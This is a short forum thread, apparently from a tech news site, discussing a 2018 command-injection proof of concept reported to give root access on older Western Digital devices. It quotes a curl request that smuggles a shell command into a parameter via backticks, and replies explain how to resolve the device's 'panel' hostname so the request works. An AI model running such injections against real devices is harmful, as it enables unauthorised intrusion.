3 ms·
From the description of the PoC at https://www.wizcase.com/blog/hack-2018/ https://www.wizcase.com/blog/hack-2018/ curl -kX GET -d ‘bim=param`whoami`’ https://
by msravi 5y ago
From the description of the PoC at https://www.wizcase.com/blog/hack-2018/ https://www.wizcase.com/blog/hack-2018/
curl -kX GET -d ‘bim=param`whoami`’ https:///panel/rest/configuration https:///panel/rest/configuration
How does one get to resolve /panel/rest/configuration?
- slim 5y agoEither it's advertised through mdns or you add "panel" to your hosts file with the right ip
- jbverschoor 5y agoI’m sorry but this is just incompetence by them. No sophisticated exploit. Just naive lazy pre-junior dev work
- jbverschoor 5y agoNot sure why I'm being downvoted. Maybe by some other incompetent devs/pms
- jbverschoor 5y agoGive me some more of that -4 bastards. I still have 3K+
- Erwin 5y agocurl has a handy --resolve option for telling it how to resolve certain names. Useful when you want to connect to something that thinks it's foo.bar.com and send the right tls/host, but DNS doesn't have it correct yet
- chtitux 5y agocurl has a very handy --resolve option for that: curl --resolve 'panel:443:192.168.10.5' -k -X GET https://panel/rest/configuration https://panel/rest/configuration Hostname can be set to * in recent versions of curl, it's even more handy: curl --resolve '*:443:192.168.10.5' -k -X GET https://panel/rest/configuration https://panel/rest/configuration
- yashap 5y agoWow, so completely trivial to get root RCE on any of these devices, brutal, all you need is an IP address. That’s as bad as vulnerabilities get. Insane that this has been known since 2018, and not patched - these devices are from ~2011-2015, far from ancient. I’ll personally never, ever buy anything from Western Digital again.